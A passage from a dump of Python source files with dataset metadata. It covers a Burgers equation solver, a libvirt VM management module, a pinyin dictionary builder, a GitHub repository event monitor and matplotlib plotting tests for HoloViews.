times\"%n_save_t))\n\n # The default initial condition is a half sine wave.\n u_initial = ubl + np.sin(x)\n #u_initial = ubl + np.sin(x * np.pi)\n if u0 is not None: u_initial = u0\n u = u_initial\n u[0] = ubl\n u[-1] = ubr\n\n # insert ghost cells; extra cells on the left and right\n # for the edge cases of the finite difference scheme\n #x = np.insert(x, 0, x[0]-dx)\n #x = np.insert(x, -1, x[-1]+dx)\n #u = np.insert(u, 0, ubl)\n #u = np.insert(u, -1, ubr)\n\n # u_record holds all the snapshots. They are evenly spaced in time,\n # except the final and initial states\n u_record = np.zeros((x.size, int(nt / divider + 2)))\n #u_record = np.zeros((x.size, int(nt / divider + 2)), dtype=np.float128)\n\n # Evolve through time\n ii = 1\n u_record[:, 0] = u\n for _ in range(nt):\n un = u.copy()\n #dudt = diffusive_dudt(un, nu, dx, strategy=diffstrategy) \n dudt = diffusive_dudt(un, nu, dx, strategy=diffstrategy) + convective_dudt(un, dx, strategy=convstrategy)\n\n # forward euler time step\n if timestrategy == 'fe':\n u = un + dt * dudt\n elif timestrategy == 'rk2':\n uhalfn = un + dt * dudt / 2.\n duhalfn_dt1 = diffusive_dudt(uhalfn, nu, dx, strategy=diffstrategy) + convective_dudt(uhalfn, dx, strategy=convstrategy)\n u = un + dt * duhalfn_dt1\n #u = 0.5 * (un + dt * dudt + uhalfn + duhalfn_dt1 * dt)\n if _ == 0: print('hey!')\n\n # RK 4 time step\n elif timestrategy == 'rk4':\n uhalfn = un + dt * dudt / 2.\n duhalfn_dt1 = diffusive_dudt(uhalfn, nu, dx, strategy=diffstrategy) + convective_dudt(uhalfn, dx, strategy=convstrategy)\n uhalfk2 = un + duhalfn_dt1 * dt / 2\n duhalfk2_dt = diffusive_dudt(uhalfk2, nu, dx, strategy=diffstrategy) + convective_dudt(uhalfk2, dx, strategy=convstrategy)\n ufull = un + duhalfk2_dt * dt\n dufull_dt = diffusive_dudt(ufull, nu, dx, strategy=diffstrategy)+ convective_dudt(ufull, dx, strategy=convstrategy)\n u = un + (dt / 6.) * (dudt + 2 * duhalfn_dt1 + 2 * duhalfk2_dt + dufull_dt)\n else: raise(Exception(\"Error\"))\n\n # Save every mth time step\n #return u\n if _ % divider == 0:\n u_record[:, ii] = u.copy()\n ii += 1\n u_record[:, -1] = u\n return u_record\n #return u_record[1:-1, :]\n\nif __name__==\"__main__\":\n x = np.linspace(0, np.pi, 801)\n u = geturec(x, nu=0.1, dt=5e-9, evolution_time=0.00002, n_save_t=1)[:, -1]\n fl = open('mine.dat', 'w')\n fl.write(' '.join([str(s) for s in u]))\n #fl.write(' '.join([str(s) for s in u[:, -1]]))\n fl.close()\n","sub_path":"burgers/mysolver.py","file_name":"mysolver.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130165146","text":"'''\nCopyright (2019, ) Institute of Software, Chinese Academy of Sciences\n\n@author: wuyuewen@otcaix.iscas.ac.cn\n@author: wuheng@otcaix.iscas.ac.cn\n\nhttps://pypi.org/project/json2xml/\nhttps://github.com/kubernetes/kubernetes/issues/51046\n'''\n\n'''\nImport python libs\n'''\nimport re\nfrom xml.dom import minidom\nfrom StringIO import StringIO as _StringIO\n\n'''\nImport third party libs\n'''\ntry:\n import libvirt\n HAS_LIBVIRT = True\nexcept ImportError:\n HAS_LIBVIRT = False\n# import yaml\n\n\nVIRT_STATE_NAME_MAP = {0: 'running',\n 1: 'running',\n 2: 'running',\n 3: 'paused',\n 4: 'shutdown',\n 5: 'shutdown',\n 6: 'crashed'}\n\n\n'''\n VM lifecycle\n'''\n\ndef __get_conn():\n '''\n Detects what type of dom this node is and attempts to connect to the\n correct hypervisor via libvirt.\n '''\n # This has only been tested on kvm and xen, it needs to be expanded to\n # support all vm layers supported by libvirt\n try:\n conn = libvirt.open('qemu:///system')\n except Exception:\n raise Exception(\n 'Sorry, {0} failed to open a connection to the hypervisor '\n 'software'\n )\n return conn\n\n\ndef _get_dom(vm_):\n '''\n Return a domain object for the named vm\n '''\n conn = __get_conn()\n if vm_ not in list_vms():\n raise Exception('The specified vm is not present(%s).' % vm_)\n return conn.lookupByName(vm_)\n\ndef _get_pool(pool_):\n conn = __get_conn()\n if pool_ not in list_pools():\n raise Exception('The specified pool is not present(%s).' % pool_)\n pool = conn.storagePoolLookupByName(pool_)\n pool.refresh()\n return pool\n\ndef _get_vol(pool_, vol_):\n pool = _get_pool(pool_)\n return pool.storageVolLookupByName(vol_)\n\ndef _get_all_snapshots(vm_):\n vm = _get_dom(vm_)\n return vm.snapshotListNames()\n\ndef _get_snapshot(vm_, snap_):\n vm = _get_dom(vm_)\n return vm.snapshotLookupByName(snap_)\n\ndef is_vm_exists(vm_):\n if vm_ in list_vms():\n return True\n return False\n\ndef is_vm_active(vm_):\n if vm_ in list_active_vms():\n return True\n return False\n\ndef list_vms():\n '''\n Return a list of virtual machine names on the minion\n\n CLI Example::\n\n salt '*' virt.list_vms\n '''\n vms = []\n vms.extend(list_active_vms())\n vms.extend(list_inactive_vms())\n return vms\n\ndef list_active_vms():\n '''\n Return a list of names for active virtual machine on the minion\n\n CLI Example::\n\n salt '*' virt.list_active_vms\n '''\n conn = __get_conn()\n vms = []\n for id_ in conn.listDomainsID():\n vms.append(conn.lookupByID(id_).name())\n return vms\n\n\ndef list_inactive_vms():\n '''\n Return a list of names for inactive virtual machine on the minion\n\n CLI Example::\n\n salt '*' virt.list_inactive_vms\n '''\n conn = __get_conn()\n vms = []\n for id_ in conn.listDefinedDomains():\n vms.append(id_)\n return vms\n\n# def vm_info(vm_=None):\n# '''\n# Return detailed information about the vms on this hyper in a\n# list of dicts::\n# \n# [\n# 'your-vm': {\n# 'cpu': ,\n# 'maxMem': ,\n# 'mem': ,\n# 'state': '',\n# 'cputime' \n# },\n# ...\n# ]\n# \n# If you pass a VM name in as an argument then it will return info\n# for just the named VM, otherwise it will return all VMs.\n# \n# CLI Example::\n# \n# salt '*' virt.vm_info\n# '''\n# def _info(vm_):\n# dom = _get_dom(vm_)\n# raw = dom.info()\n# return {'cpu': raw[3],\n# 'cputime': int(raw[4]),\n# 'disks': get_disks(vm_),\n# 'graphics': get_graphics(vm_),\n# 'nics': get_nics(vm_),\n# 'maxMem': int(raw[1]),\n# 'mem': int(raw[2]),\n# 'state': VIRT_STATE_NAME_MAP.get(raw[0], 'unknown')}\n# info = {}\n# if vm_:\n# info[vm_] = _info(vm_)\n# else:\n# for vm_ in list_vms():\n# info[vm_] = _info(vm_)\n# return info\n\n\ndef vm_state(vm_=None):\n '''\n Return list of all the vms and their state.\n\n If you pass a VM name in as an argument then it will return info\n for just the named VM, otherwise it will return all VMs.\n\n CLI Example::\n\n salt '*' virt.vm_state \n '''\n def _info(vm_):\n state = ''\n dom = _get_dom(vm_)\n raw = dom.info()\n state = VIRT_STATE_NAME_MAP.get(raw[0], 'unknown')\n return state\n info = {}\n if vm_:\n info[vm_] = _info(vm_)\n else:\n for vm_ in list_vms():\n info[vm_] = _info(vm_)\n return info\n\n\ndef node_info():\n '''\n Return a dict with information about this node\n\n CLI Example::\n\n salt '*' virt.node_info\n '''\n conn = __get_conn()\n raw = conn.getInfo()\n info = {'cpucores': raw[6],\n 'cpumhz': raw[3],\n 'cpumodel': str(raw[0]),\n 'cpus': raw[2],\n 'cputhreads': raw[7],\n 'numanodes': raw[4],\n 'phymemory': raw[1],\n 'sockets': raw[5]}\n return info\n\ndef get_nics(vm_):\n '''\n Return info about the network interfaces of a named vm\n\n CLI Example::\n\n salt '*' virt.get_nics \n '''\n nics = {}\n doc = minidom.parse(_StringIO(get_xml(vm_)))\n for node in doc.getElementsByTagName('devices'):\n i_nodes = node.getElementsByTagName('interface')\n for i_node in i_nodes:\n nic = {}\n nic['type'] = i_node.getAttribute('type')\n for v_node in i_node.getElementsByTagName('*'):\n if v_node.tagName == 'mac':\n nic['mac'] = v_node.getAttribute('address')\n if v_node.tagName == 'model':\n nic['model'] = v_node.getAttribute('type')\n if v_node.tagName == 'target':\n nic['target'] = v_node.getAttribute('dev')\n # driver, source, and match can all have optional attributes\n if re.match('(driver|source|address)', v_node.tagName):\n temp = {}\n for key in v_node.attributes.keys():\n temp[key] = v_node.getAttribute(key)\n nic[str(v_node.tagName)] = temp\n # virtualport needs to be handled separately, to pick up the\n # type attribute of the virtualport itself\n if v_node.tagName == 'virtualport':\n temp = {}\n temp['type'] = v_node.getAttribute('type')\n for key in v_node.attributes.keys():\n temp[key] = v_node.getAttribute(key)\n nic['virtualport'] = temp\n if 'mac' not in nic:\n continue\n nics[nic['mac']] = nic\n return nics\n\n\ndef get_macs(vm_):\n '''\n Return a list off MAC addresses from the named vm\n\n CLI Example::\n\n salt '*' virt.get_macs \n '''\n macs = []\n doc = minidom.parse(_StringIO(get_xml(vm_)))\n for node in doc.getElementsByTagName('devices'):\n i_nodes = node.getElementsByTagName('interface')\n for i_node in i_nodes:\n for v_node in i_node.getElementsByTagName('mac'):\n macs.append(v_node.getAttribute('address'))\n return macs\n\n\ndef get_graphics(vm_):\n '''\n Returns the information on vnc for a given vm\n\n CLI Example::\n\n salt '*' virt.get_graphics \n '''\n out = {'autoport': 'None',\n 'keymap': 'None',\n 'listen': 'None',\n 'port': 'None',\n 'type': 'vnc'}\n xml = get_xml(vm_)\n ssock = _StringIO(xml)\n doc = minidom.parse(ssock)\n for node in doc.getElementsByTagName('domain'):\n g_nodes = node.getElementsByTagName('graphics')\n for g_node in g_nodes:\n for key in g_node.attributes.keys():\n out[key] = g_node.getAttribute(key)\n return out\n\n\n# def get_disks(vm_):\n# '''\n# Return the disks of a named vm\n# \n# CLI Example::\n# \n# salt '*' virt.get_disks \n# '''\n# disks = {}\n# doc = minidom.parse(_StringIO(get_xml(vm_)))\n# for elem in doc.getElementsByTagName('disk'):\n# sources = elem.getElementsByTagName('source')\n# targets = elem.getElementsByTagName('target')\n# if len(sources) > 0:\n# source = sources[0]\n# else:\n# continue\n# if len(targets) > 0:\n# target = targets[0]\n# else:\n# continue\n# if target.hasAttribute('dev'):\n# qemu_target = ''\n# if source.hasAttribute('file'):\n# qemu_target = source.getAttribute('file')\n# elif source.hasAttribute('dev'):\n# qemu_target = source.getAttribute('dev')\n# elif source.hasAttribute('protocol') and \\\n# source.hasAttribute('name'): # For rbd network\n# qemu_target = '%s:%s' %(\n# source.getAttribute('protocol'),\n# source.getAttribute('name'))\n# if qemu_target:\n# disks[target.getAttribute('dev')] = {\\\n# 'file': qemu_target}\n# for dev in disks:\n# try:\n# output = []\n# qemu_output = subprocess.Popen(['qemu-img', 'info', '-U',\n# disks[dev]['file']],\n# shell=False,\n# stdout=subprocess.PIPE).communicate()[0]\n# snapshots = False\n# columns = None\n# lines = qemu_output.strip().split('\\n')\n# for line in lines:\n# if line.startswith('Snapshot list:'):\n# snapshots = True\n# continue\n# elif snapshots:\n# if line.startswith('ID'): # Do not parse table headers\n# line = line.replace('VM SIZE', 'VMSIZE')\n# line = line.replace('VM CLOCK', 'TIME VMCLOCK')\n# columns = re.split('\\s+', line)\n# columns = [c.lower() for c in columns]\n# output.append('snapshots:')\n# continue\n# fields = re.split('\\s+', line)\n# for i, field in enumerate(fields):\n# sep = ' '\n# if i == 0:\n# sep = '-'\n# output.append(\n# '{0} {1}: \"{2}\"'.format(\n# sep, columns[i], field\n# )\n# )\n# continue\n# output.append(line)\n# output = '\\n'.join(output)\n# disks[dev].update(yaml.safe_load(output))\n# except TypeError:\n# disks[dev].update(yaml.safe_load('image: Does not exist'))\n# return disks\n\n\ndef setmem(vm_, memory, config=False):\n '''\n Changes the amount of memory allocated to VM. The VM must be shutdown\n for this to work.\n\n memory is to be specified in MB\n If config is True then we ask libvirt to modify the config as well\n\n CLI Example::\n\n salt '*' virt.setmem myvm 768\n '''\n if vm_state(vm_).get(vm_) != 'shutdown':\n return False\n\n dom = _get_dom(vm_)\n\n # libvirt has a funny bitwise system for the flags in that the flag\n # to affect the \"current\" setting is 0, which means that to set the\n # current setting we have to call it a second time with just 0 set\n flags = libvirt.VIR_DOMAIN_MEM_MAXIMUM\n if config:\n flags = flags | libvirt.VIR_DOMAIN_AFFECT_CONFIG\n\n ret1 = dom.setMemoryFlags(memory * 1024, flags)\n ret2 = dom.setMemoryFlags(memory * 1024, libvirt.VIR_DOMAIN_AFFECT_CURRENT)\n\n # return True if both calls succeeded\n return ret1 == ret2 == 0\n\n\ndef setvcpus(vm_, vcpus, config=False):\n '''\n Changes the amount of vcpus allocated to VM. The VM must be shutdown\n for this to work.\n\n vcpus is an int representing the number to be assigned\n If config is True then we ask libvirt to modify the config as well\n\n CLI Example::\n\n salt '*' virt.setvcpus myvm 2\n '''\n if vm_state(vm_).get(vm_) != 'shutdown':\n return False\n\n dom = _get_dom(vm_)\n\n # see notes in setmem\n flags = libvirt.VIR_DOMAIN_VCPU_MAXIMUM\n if config:\n flags = flags | libvirt.VIR_DOMAIN_AFFECT_CONFIG\n\n ret1 = dom.setVcpusFlags(vcpus, flags)\n ret2 = dom.setVcpusFlags(vcpus, libvirt.VIR_DOMAIN_AFFECT_CURRENT)\n\n return ret1 == ret2 == 0\n\n\ndef freemem():\n '''\n Return an int representing the amount of memory that has not been given\n to virtual machines on this node\n\n CLI Example::\n\n salt '*' virt.freemem\n '''\n conn = __get_conn()\n mem = conn.getInfo()[1]\n # Take off just enough to sustain the hypervisor\n mem -= 256\n for vm_ in list_vms():\n dom = _get_dom(vm_)\n if dom.ID() > 0:\n mem -= dom.info()[2] / 1024\n return mem\n\n\ndef freecpu():\n '''\n Return an int representing the number of unallocated cpus on this\n hypervisor\n\n CLI Example::\n\n salt '*' virt.freecpu\n '''\n conn = __get_conn()\n cpus = conn.getInfo()[2]\n for vm_ in list_vms():\n dom = _get_dom(vm_)\n if dom.ID() > 0:\n cpus -= dom.info()[3]\n return cpus\n\n# def full_info():\n# '''\n# Return the node_info, vm_info and freemem\n# \n# CLI Example::\n# \n# salt '*' virt.full_info\n# '''\n# return {'freecpu': freecpu(),\n# 'freemem': freemem(),\n# 'node_info': node_info(),\n# 'vm_info': vm_info()}\n\n\ndef get_xml(vm_):\n '''\n Returns the xml for a given vm\n\n CLI Example::\n\n salt '*' virt.get_xml \n '''\n dom = _get_dom(vm_)\n return dom.XMLDesc(0)\n\n\ndef shutdown(vm_):\n '''\n Send a soft shutdown signal to the named vm\n\n CLI Example::\n\n salt '*' virt.shutdown \n '''\n dom = _get_dom(vm_)\n return dom.shutdown() == 0\n\n\ndef pause(vm_):\n '''\n Pause the named vm\n\n CLI Example::\n\n salt '*' virt.pause \n '''\n dom = _get_dom(vm_)\n return dom.suspend() == 0\n\n\ndef resume(vm_):\n '''\n Resume the named vm\n\n CLI Example::\n\n salt '*' virt.resume \n '''\n dom = _get_dom(vm_)\n return dom.resume() == 0\n\n\ndef create(vm_):\n '''\n Start a defined domain\n\n CLI Example::\n\n salt '*' virt.create \n '''\n dom = _get_dom(vm_)\n return dom.create() == 0\n\n\ndef start(vm_):\n '''\n Alias for the obscurely named 'create' function\n\n CLI Example::\n\n salt '*' virt.start \n '''\n return create(vm_)\n\n\ndef reboot(vm_):\n '''\n Reboot a domain via ACPI request\n\n CLI Example::\n\n salt '*' virt.reboot \n '''\n dom = _get_dom(vm_)\n\n # reboot has a few modes of operation, passing 0 in means the\n # hypervisor will pick the best method for rebooting\n return dom.reboot(0) == 0\n\n\ndef reset(vm_):\n '''\n Reset a VM by emulating the reset button on a physical machine\n\n CLI Example::\n\n salt '*' virt.reset \n '''\n dom = _get_dom(vm_)\n\n # reset takes a flag, like reboot, but it is not yet used\n # so we just pass in 0\n # see: http://libvirt.org/html/libvirt-libvirt.html#virDomainReset\n return dom.reset(0) == 0\n\n\ndef ctrl_alt_del(vm_):\n '''\n Sends CTRL+ALT+DEL to a VM\n\n CLI Example::\n\n salt '*' virt.ctrl_alt_del \n '''\n dom = _get_dom(vm_)\n return dom.sendKey(0, 0, [29, 56, 111], 3, 0) == 0\n\ndef destroy(vm_):\n '''\n Hard power down the virtual machine, this is equivalent to pulling the\n power\n \n CLI Example::\n \n salt '*' virt.destroy \n '''\n dom = _get_dom(vm_)\n return dom.destroy() == 0\n \n \ndef undefine(vm_):\n '''\n Remove a defined vm, this does not purge the virtual machine image, and\n this only works if the vm is powered down\n \n CLI Example::\n \n salt '*' virt.undefine \n '''\n dom = _get_dom(vm_)\n return dom.undefine() == 0\n\ndef list_pools():\n conn = __get_conn()\n return conn.listStoragePools()\n\ndef get_pool_path(pool_):\n pool = _get_pool(pool_)\n return pool.XMLDesc(0)\n\ndef get_pool_xml(pool_):\n pool = _get_pool(pool_)\n return pool.XMLDesc(0)\n\ndef list_all_volumes():\n vols = []\n for pool_ in list_pools():\n pool = _get_pool(pool_)\n for vol in pool.listAllVolumes():\n vols.append(vol.name())\n return vols\n\ndef list_volumes(pool_):\n pool = _get_pool(pool_)\n vols = []\n for vol in pool.listAllVolumes():\n vols.append(vol.name())\n return vols\n\ndef get_volume_xml(pool_, vol_):\n vol = _get_vol(pool_, vol_)\n return vol.XMLDesc()\n\ndef delete_volume(pool_, vol_):\n vol = _get_vol(pool_, vol_)\n return vol.delete()\n\ndef is_volume_exists(vol_, pool_=None):\n if pool_:\n if vol_ in list_volumes(pool_):\n return True\n else:\n if vol_ in list_all_volumes():\n return True\n return False\n\ndef is_snapshot_exists(snap_, vm_):\n if snap_ in _get_all_snapshots(vm_):\n return True\n return False\n\ndef get_snapshot_xml(vm_, snap_):\n snap = _get_snapshot(vm_, snap_)\n return snap.getXMLDesc()\n\nif __name__ == '__main__':\n print(list_all_volumes())\n# print(get_pool_xml('volumes'))\n# print(list_volumes('volumes'))\n# print(get_volume_xml('volumes', 'ddd.qcow2'))\n","sub_path":"executor/utils/libvirt_util.py","file_name":"libvirt_util.py","file_ext":"py","file_size_in_byte":17805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"591738780","text":"# For working with the data\nimport pandas as pd\n# For the wordcloud\nimport numpy as np\nimport matplotlib.pyplot as plt\n# To get rid of tone marks\n# import unidecode\n\n# Read in data\nsyllables = pd.read_csv(\"../data/syllable frequencies.csv\")\ncharacters = pd.read_csv(\"../data/character ranking toneless.csv\")\n\n# Function to create simple dictionary from dataframe\ndef simple_dict(df):\n # Takes in df, returns first column as keys, second column as values\n # Initialize dictionary\n simple = dict()\n # Iterate through df\n for i in range(len(df)):\n simple[df.iloc[i, 0]] = df.iloc[i, 1]\n # Return dictionary\n return simple\n\n\n# Create syllable dictionary from dataframe, to prep for spelling corrector\nsyll_dict = simple_dict(syllables)\n\n# Use unidecode to get rid of tone marks, add a new column without tone marks\n# toneless = np.array([])\n# for p in characters[\"pinyin\"]: \n# toneless = np.append(toneless, unidecode.unidecode(p))\n# characters[\"toneless\"] = toneless\n# characters.head()\n\n# Function to create character dictionary from dataframe\ndef character_dict(df):\n # Takes in df containing 4 columns: frequency_rank, character, pinyin, toneless\n # Returns dictionary with toneless pinyin as the keys, list of corr. characters as values\n # Initialize dictionary\n chars = dict()\n # Get unique list of toneless pinyin\n unique_pinyin = df[\"toneless\"].unique()\n for u in unique_pinyin:\n # Get all rows that have toneless pinyin u\n u_rows = df.loc[df[\"toneless\"] == u, :]\n # Save u characters into a list, only save the unique characters\n u_list = list(u_rows[\"character\"].unique())\n # Set u as key, the list as value\n chars[u] = u_list\n # Return dictionary\n return chars\n\n# Create the character dictionary!\nhanzi = character_dict(characters)\n","sub_path":"scripts/dictionarycreation.py","file_name":"dictionarycreation.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"590768856","text":"import logging\nimport json\nimport requests\nimport os\n\nfrom models import Event, EventType\nfrom time import sleep\n\nlogger = logging.getLogger('Monitor')\nauth_header = None\n\n\ndef get_auth_header():\n token = os.environ.get('GITHUB_TOKEN')\n if token is not None:\n return {'Authorization': 'token ' + token}\n else:\n return None\n\n\ndef get_list_of_repos():\n repos = os.environ.get('WATCH_REPOS', '')\n return repos.split(' ')\n\n\ndef github_request(url):\n try:\n r = requests.get(url, headers=auth_header)\n body = r.json()\n return r.status_code, body\n except requests.RequestException as e:\n logger.exception(e)\n except json.decoder.JSONDecodeError:\n logger.error('Response for URL={} does not contain JSON object.'.format(url))\n return None\n\n\ndef repository_exists(name: str) -> bool:\n \"\"\"\n Just check if the repository exists. Return false in case of any error (repo does not exist,\n communication failed etc.)\n \"\"\"\n r = github_request('https://api.github.com/repos/' + name)\n if r is None:\n return False\n\n status_code, body = r\n message = body.get('message')\n if status_code == 200 and body.get('full_name') == name:\n logger.info('Successfully found {} repository'.format(name))\n return True\n elif message == 'Not Found':\n logger.error('Repository {} does not exist, check the configuration'.format(name))\n elif message is not None and \"API rate limit exceeded\" in message:\n logger.error('API rate limit exceeded')\n else:\n logger.error('Github response came in unexpected format (repo={})'.format(name))\n\n return False\n\n\nclass RepositoryMonitor:\n def __init__(self, name):\n self.name = name\n self.seen_events = set()\n self.new_events = set()\n\n def get_new_events(self):\n r = github_request('https://api.github.com/repos/' + self.name + '/events')\n if r is None:\n logger.error('Failed to get new events for {} repository (communication error)'\n .format(self.name))\n\n status_code, data = r\n if status_code == 200:\n return set(filter(lambda x: x is not None, map(lambda x: Event.from_dict(x), data)))\n else:\n logger.error('Failed to get new events for {} repository (status code != 200)'\n .format(self.name))\n\n return None\n\n def _new_events_in_set(self, filtering_predicate, new_events):\n old = set(filter(filtering_predicate, self.seen_events))\n new = set(filter(filtering_predicate, new_events))\n return len(new - old) > 0\n\n def new_issues(self, events):\n p = lambda x: x.type == EventType.ISSUE\n return self._new_events_in_set(p, events)\n\n def new_commits(self, events):\n p = lambda x: x.type == EventType.PUSH\n return self._new_events_in_set(p, events)\n\n def new_pull_requests(self, events):\n p = lambda x: x.type == EventType.PULL_REQUEST\n return self._new_events_in_set(p, events)\n\n def __str__(self):\n return '<{} for {} repository>'.format(self.__class__.__name__, self.name)\n\n\nif __name__ == \"__main__\":\n # Set up logging\n LOGLEVEL = os.environ.get('LOGLEVEL', 'WARNING').upper()\n logging.basicConfig(level=LOGLEVEL)\n logger.info(\"Starting the monitor service\")\n\n # In seconds\n SLEEP_PERIOD = float(os.environ.get('SLEEP_PERIOD', 30))\n\n # Set up list of repositories\n auth_header = get_auth_header()\n repos = list(filter(repository_exists, get_list_of_repos()))\n monitors = list(map(lambda x: RepositoryMonitor(x), repos))\n logger.info('Monitoring these repositories:')\n for m in monitors:\n logger.info(str(m))\n\n while True:\n # Run the monitor forever\n for m in monitors:\n new_events = m.get_new_events()\n if m.new_issues(new_events):\n logger.info('There are new issues for ' + m.name)\n if m.new_commits(new_events):\n logger.info('There are new commits for ' + m.name)\n if m.new_pull_requests(new_events):\n logger.info('There are new pull requests for ' + m.name)\n m.seen_events = new_events\n sleep(SLEEP_PERIOD)\n\n\ndef test_repo_exists():\n \"\"\"\n Check the function using some well known repo, be careful though. This test\n may fail without Internet connection, rate limiting etc.\n \"\"\"\n assert repository_exists('rust-lang/rust')\n","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"269081928","text":"from __future__ import absolute_import\n\nfrom unittest import SkipTest\n\nimport numpy as np\nfrom holoviews.core.data import Dataset\nfrom holoviews.core.options import Store, Cycle\nfrom holoviews.element import Graph, TriMesh, circular_layout\nfrom holoviews.element.comparison import ComparisonTestCase\nfrom holoviews.plotting import comms\n\n# Standardize backend due to random inconsistencies\ntry:\n from matplotlib import pyplot\n pyplot.switch_backend('agg')\n from holoviews.plotting.mpl import OverlayPlot\n from matplotlib.collections import LineCollection, PolyCollection\n mpl_renderer = Store.renderers['matplotlib']\nexcept:\n mpl_renderer = None\n\n\nclass MplGraphPlotTests(ComparisonTestCase):\n\n def setUp(self):\n if not mpl_renderer:\n raise SkipTest('Matplotlib tests require matplotlib to be available')\n self.previous_backend = Store.current_backend\n Store.current_backend = 'matplotlib'\n self.default_comm = mpl_renderer.comms['default']\n mpl_renderer.comms['default'] = (comms.Comm, '')\n\n N = 8\n self.nodes = circular_layout(np.arange(N, dtype=np.int32))\n self.source = np.arange(N, dtype=np.int32)\n self.target = np.zeros(N, dtype=np.int32)\n self.weights = np.random.rand(N)\n self.graph = Graph(((self.source, self.target),))\n self.node_info = Dataset(['Output']+['Input']*(N-1), vdims=['Label'])\n self.node_info2 = Dataset(self.weights, vdims='Weight')\n self.graph2 = Graph(((self.source, self.target), self.node_info))\n self.graph3 = Graph(((self.source, self.target), self.node_info2))\n self.graph4 = Graph(((self.source, self.target, self.weights),), vdims='Weight')\n\n\n def tearDown(self):\n mpl_renderer.comms['default'] = self.default_comm\n Store.current_backend = self.previous_backend\n\n def test_plot_simple_graph(self):\n plot = mpl_renderer.get_plot(self.graph)\n nodes = plot.handles['nodes']\n edges = plot.handles['edges']\n self.assertEqual(nodes.get_offsets(), self.graph.nodes.array([0, 1]))\n self.assertEqual([p.vertices for p in edges.get_paths()],\n [p.array() for p in self.graph.edgepaths.split()])\n\n def test_plot_graph_categorical_colored_nodes(self):\n g = self.graph2.opts(plot=dict(color_index='Label'), style=dict(cmap='Set1'))\n plot = mpl_renderer.get_plot(g)\n nodes = plot.handles['nodes']\n facecolors = np.array([[0.89411765, 0.10196078, 0.10980392, 1.],\n [0.6 , 0.6 , 0.6 , 1.],\n [0.6 , 0.6 , 0.6 , 1.],\n [0.6 , 0.6 , 0.6 , 1.],\n [0.6 , 0.6 , 0.6 , 1.],\n [0.6 , 0.6 , 0.6 , 1.],\n [0.6 , 0.6 , 0.6 , 1.],\n [0.6 , 0.6 , 0.6 , 1.]])\n self.assertEqual(nodes.get_facecolors(), facecolors)\n\n def test_plot_graph_numerically_colored_nodes(self):\n g = self.graph3.opts(plot=dict(color_index='Weight'), style=dict(cmap='viridis'))\n plot = mpl_renderer.get_plot(g)\n nodes = plot.handles['nodes']\n self.assertEqual(nodes.get_array(), self.weights)\n self.assertEqual(nodes.get_clim(), (self.weights.min(), self.weights.max()))\n\n def test_plot_graph_categorical_colored_edges(self):\n g = self.graph3.opts(plot=dict(edge_color_index='start'),\n style=dict(edge_cmap=['#FFFFFF', '#000000']))\n plot = mpl_renderer.get_plot(g)\n edges = plot.handles['edges']\n colors = np.array([[1., 1., 1., 1.],\n [0., 0., 0., 1.],\n [1., 1., 1., 1.],\n [0., 0., 0., 1.],\n [1., 1., 1., 1.],\n [0., 0., 0., 1.],\n [1., 1., 1., 1.],\n [0., 0., 0., 1.]])\n self.assertEqual(edges.get_colors(), colors)\n\n def test_plot_graph_numerically_colored_edges(self):\n g = self.graph4.opts(plot=dict(edge_color_index='Weight'),\n style=dict(edge_cmap=['#FFFFFF', '#000000']))\n plot = mpl_renderer.get_plot(g)\n edges = plot.handles['edges']\n self.assertEqual(edges.get_array(), self.weights)\n self.assertEqual(edges.get_clim(), (self.weights.min(), self.weights.max()))\n\n\n\nclass TestMplTriMeshPlots(ComparisonTestCase):\n\n def setUp(self):\n if not mpl_renderer:\n raise SkipTest('Matplotlib tests require matplotlib to be available')\n self.previous_backend = Store.current_backend\n Store.current_backend = 'matplotlib'\n self.default_comm = mpl_renderer.comms['default']\n mpl_renderer.comms['default'] = (comms.Comm, '')\n\n self.nodes = [(0, 0, 0), (0.5, 1, 1), (1., 0, 2), (1.5, 1, 3)]\n self.simplices = [(0, 1, 2, 0), (1, 2, 3, 1)]\n self.trimesh = TriMesh((self.simplices, self.nodes))\n self.trimesh_weighted = TriMesh((self.simplices, self.nodes), vdims='weight')\n\n def tearDown(self):\n mpl_renderer.comms['default'] = self.default_comm\n Store.current_backend = self.previous_backend\n\n def test_plot_simple_trimesh(self):\n plot = mpl_renderer.get_plot(self.trimesh)\n nodes = plot.handles['nodes']\n edges = plot.handles['edges']\n self.assertIsInstance(edges, LineCollection)\n self.assertEqual(nodes.get_offsets(), self.trimesh.nodes.array([0, 1]))\n self.assertEqual([p.vertices for p in edges.get_paths()],\n [p.array() for p in self.trimesh._split_edgepaths.split()])\n\n def test_plot_simple_trimesh_filled(self):\n plot = mpl_renderer.get_plot(self.trimesh.opts(plot=dict(filled=True)))\n nodes = plot.handles['nodes']\n edges = plot.handles['edges']\n self.assertIsInstance(edges, PolyCollection)\n self.assertEqual(nodes.get_offsets(), self.trimesh.nodes.array([0, 1]))\n paths = self.trimesh._split_edgepaths.split(datatype='array')\n self.assertEqual([p.vertices[:4] for p in edges.get_paths()],\n paths)\n\n def test_plot_trimesh_colored_edges(self):\n opts = dict(plot=dict(edge_color_index='weight'), style=dict(edge_cmap='Greys'))\n plot = mpl_renderer.get_plot(self.trimesh_weighted.opts(**opts))\n edges = plot.handles['edges']\n colors = np.array([[ 1., 1., 1., 1.],\n [ 0., 0., 0., 1.]])\n self.assertEqual(edges.get_edgecolors(), colors)\n\n def test_plot_trimesh_categorically_colored_edges(self):\n opts = dict(plot=dict(edge_color_index='node1'), style=dict(edge_color=Cycle('Set1')))\n plot = mpl_renderer.get_plot(self.trimesh_weighted.opts(**opts))\n edges = plot.handles['edges']\n colors = np.array([[0.894118, 0.101961, 0.109804, 1.],\n [0.215686, 0.494118, 0.721569, 1.]])\n self.assertEqual(edges.get_edgecolors(), colors)\n\n def test_plot_trimesh_categorically_colored_edges_filled(self):\n opts = dict(plot=dict(edge_color_index='node1', filled=True),\n style=dict(edge_color=Cycle('Set1')))\n plot = mpl_renderer.get_plot(self.trimesh_weighted.opts(**opts))\n edges = plot.handles['edges']\n colors = np.array([[0.894118, 0.101961, 0.109804, 1.],\n [0.215686, 0.494118, 